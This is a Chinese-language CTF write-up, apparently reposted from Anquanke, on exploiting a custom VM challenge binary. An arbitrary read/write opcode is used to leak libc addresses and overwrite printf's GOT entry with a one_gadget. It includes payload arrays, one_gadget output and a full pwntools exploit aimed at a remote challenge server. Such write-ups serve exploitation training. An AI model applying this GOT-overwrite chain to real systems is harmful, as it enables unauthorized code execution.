本文第一发布平台为安全客:https://www.anquanke.com/post/id/250882
题目分析
题目的保护如下:
1 2 3 4 5
| Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
|
可以根据保护猜到本题应该是通过改 got
表的形式来进行利用
题目的主函数如下:
题目会让你输入一个 name
并保存在 bss
段上,然后读取你要传入的 code
的信息来将 code
放在 bss
段上,之后通过 vm
执行这些 code
,vm
的逻辑如下
指令的结构如下:
1
| op_code | value1 | value2 | value3
|
归纳一下有如下操作:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| count = 8 op_code | value1 | value2 | value3 0x70 : data[value1] = data[value2] + data[value3] 0x90 : data[value1] = data[value2] & data[value3] 0xa0 : data[value1] = data[value2] | data[value3] 0x80 : data[value1] = data[value2] - data[value3] 0x30 : data[value1] = reg[data[value3]] 0x10 : data[value1] = value3 0x20 : data[value1] = 0 0x12 : data[value1] = data[value2] * data[value3] 0x50 : stack[count++] = data[value1] 0x60 : data[value1] = stack[count--] 0x40 : reg[data[value3]] = data[value1] 0xb0 : data[value1] = data[value2] ^ data[value3] 0xd0 : data[value1] = data[value2] >> data[value3] 0xc0 : data[value1] = data[value2] << data[value3]
|
其中由于 reg, data, stack, count
这些都是在 bss
段上的,而且 data
的元素 是 qword
类型,那么下面这两条指令就可以进行任意读写
1 2
| 0x30 : data[value1] = reg[data[value3]] 0x40 : reg[data[value3]] = data[value1]
|
漏洞利用
我们可以先读取 printf
的 got
表到 data[3]
上
1 2 3 4 5 6 7 8 9 10 11 12 13
| payload = [ 0x10000001, 0x10010008, 0xc0000001, 0x10020017, 0x70000002, 0x80000300,
0x30030000, ]
|
其中这里的偏移可以通过如下公式计算
1
| offset = (dst - src) // 8
|
然后正负数分别用加减法操作
之后由于程序会在最后的时候 printf(name)
, 那么我们就可以读到的 printf
的地址放入 name
中进行输出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| payload = [ 0x10000001, 0x10010008, 0xc0000001, 0x10020004, 0x70000002, 0x80000300, 0x70050005,
0x10000001, 0x10010008, 0xc0000001, 0x10020017, 0x70000002, 0x80000300,
0x30030000,
0x40030005, ]
|
可以得到远程的printf
的地址低字节是 810
同样的道理,我们可以读取read
的地址,只需要把 payload
中的
改成
即可
得到远程的read
的地址低字节是 350
随后我们可以在 libc database search 搜索 libc
并下载它
最后我们改 printf
的 got
表为 one_gadget
即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| offset = 0xf1247 - 0x55810
payload = [ 0x10000001, 0x10010008, 0xc0000001, 0x10020017, 0x70000002, 0x80000300, 0x30030000, 0x1004000a, 0xc0040401, 0x100500ba, 0x70040405, 0xc0040401, 0x10050037, 0x70040405, 0x70030304, 0x40030000, ]
|
EXP
最后完整的 EXP
如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92
| from pwn import * context.log_level = "debug"
DEBUG = 0
def dbg(cmd = ""): gdb.attach(r,cmd)
if DEBUG: r = process("./tvmc") else: r = remote("121.40.89.206",10001)
name = "Ayang"
''' $ one_gadget libc6_2.23-0ubuntu11.3_amd64.so 0x45226 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL
0x4527a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL
0xf03a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL
0xf1247 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL
''' offset = 0xf1247 - 0x55810
payload = [ 0x10000001, 0x10010008, 0xc0000001, 0x10020017, 0x70000002, 0x80000300, 0x30030000, 0x1004000a, 0xc0040401, 0x100500ba, 0x70040405, 0xc0040401, 0x10050037, 0x70040405, 0x70030304, 0x40030000, ]
r.sendlineafter("Tell me your name:",name) r.sendlineafter("Size:\n",str(len(payload)))
if DEBUG: dbg("b *$rebase(0xBFA) \n b *$rebase(0x10a9) \nc")
r.recvuntil("PWN PWN PWN?????\n")
for i in payload: r.sendline(str(i)) sleep(0.2)
r.interactive()
|